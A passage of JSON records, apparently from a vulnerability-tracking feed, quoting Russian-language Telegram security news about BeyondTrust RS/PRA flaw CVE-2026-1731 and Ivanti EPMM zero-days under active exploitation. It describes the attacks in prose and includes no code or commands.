\u0441\u043f\u0438\u0441\u043a\u0430 Fortune 100 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u043d\u043e\u0432\u0443\u044e CVE-2026-1731 \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0442\u043e\u0447\u043d\u043e \u0431\u0443\u0434\u0443\u0442 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c. \u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-02-09T17:30:06.000000Z"}, {"uuid": "91d4a7e5-2363-41c8-a784-2587b029d64a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/true_secator/7892", "content": "BeyondTrust \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 (Remote Support, RS) \u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (Privileged Remote Access, PRA).\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-1731 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0425\u0430\u0440\u0448\u0443 \u0414\u0436\u0430\u0439\u0441\u0443\u0430\u043b\u0443 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 Hacktron AI. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 BeyondTrust Remote Support 25.3.1 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 Privileged Remote Access 24.3.4 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0443. \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f, \u0443\u0442\u0435\u0447\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u0431\u043e\u0438 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.\n\nBeyondTrust \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u043b\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0435\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c RS/PRA \u043a 2 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u0432\u0441\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0445 \u0434\u043e Remote Support 25.3.2 \u0438 Privileged Remote Access 25.1.1 (\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439).\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e 11 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443 (\u043a\u0430\u043a \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435, \u0442\u0430\u043a \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043a\u043e\u043b\u043e 8500 \u0438\u0437 \u043d\u0438\u0445 - \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438, \u0435\u0441\u043b\u0438 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\nBeyondTrust \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-1731 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 BeyondTrust RS/PRA \u043d\u0435 \u0440\u0430\u0437 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u0430\u0442\u0430\u043a.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 API \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 17 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438,\u00a0\u0432\u0437\u043b\u043e\u043c\u0430\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust\u00a0\u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0432\u0443\u0445 0-day RS/PRA (CVE-2024-12356 \u0438 CVE-2024-12686).\n\n\u0422\u043e\u0433\u0434\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u0438\u043c \u043d\u0443\u043b\u044f\u043c \u043f\u043e\u0434 \u043a\u0430\u0442\u043e\u043a Silk Typhoon \u043f\u043e\u043f\u0430\u043b\u043e \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u044b\u043a\u0440\u0430\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0437 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust.\n\n\u0422\u0430\u043a \u0447\u0442\u043e, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044f \u0432\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0443 BeyondTrust \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 20 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 100 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 75% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Fortune 100 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u043d\u043e\u0432\u0443\u044e CVE-2026-1731 \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0442\u043e\u0447\u043d\u043e \u0431\u0443\u0434\u0443\u0442 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c. \u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-02-09T17:30:06.000000Z"}, {"uuid": "b4200f6a-3c31-40e7-a9f8-eeec5dc09b7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/true_secator/7934", "content": "Palo Alto Networks \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u0437\u043a\u043e\u0435 \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u0447\u0438\u0441\u043b\u0430 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 0-day Ivanti Endpoint Manager Mobile (EPMM).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 CVE-2026-1281 \u0438 CVE-2026-1340 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c\u0438, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f RCE \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 (MDM).\n\nIvanti \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00a0\u0432 \u043a\u043e\u043d\u0446\u0435 \u044f\u043d\u0432\u0430\u0440\u044f, \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0435\u0439 \u0431\u044b\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u00ab\u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432\u00bb.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441 \u0447\u0435\u043c \u0438 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0432 Palo Alto Networks, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u044f \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0430\u0442\u0430\u043a.\u00a0\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Ivanti, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440.\n\n\u0412 Palo Alto \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c\u00a0Nezha\u00a0(\u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u041a\u041d\u0420), \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u0448\u0435\u043b\u043b-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443.\n\n\u0412\u043c\u0435\u0441\u0442\u0435 \u0441 \u0442\u0435\u043c, \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u0445 \u043d\u0435\u0442 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 CVE-2026-1281 \u0438 CVE-2026-1340, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0435\u0441\u043b\u0438 \u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0446\u043a\u043e\u0439 BSI, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0435\u0449\u0435 \u0441 \u0438\u044e\u043b\u044f 2025 \u0433\u043e\u0434\u0430.\n\n\u041d\u0430\u0440\u044f\u0434\u0443 \u0441 Ivanti \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435, \u043a\u0430\u043a \u043c\u044b \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438 BeyondTrust \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2026-1731\u00a0(CVSS: 9,9) \u0432 Remote Support (RS) \u0438 Privileged Remote Access (PRA), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0441\u043f\u0435\u043a\u0442\u0440\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439:\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u044b \u0430\u0442\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u0430\u0440\u044c\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0434\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f:\n\n- \u0417\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430 Python \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n- \u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f PHP-\u0431\u044d\u043a\u0434\u043e\u0440, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 PHP-\u043a\u043e\u0434 \u0438\u043b\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 PHP-\u043a\u043e\u0434 \u0431\u0435\u0437 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u043e\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0434\u0438\u0441\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 bash-\u0434\u0440\u043e\u043f\u043f\u0435\u0440, \u0441\u043e\u0437\u0434\u0430\u044e\u0449\u0438\u0439 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u0443\u044e \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443.\n\n- \u0420\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u0442\u0430\u043a\u043e\u0433\u043e \u043a\u0430\u043a\u00a0VShell \u0438 Spark RAT.\n\n- 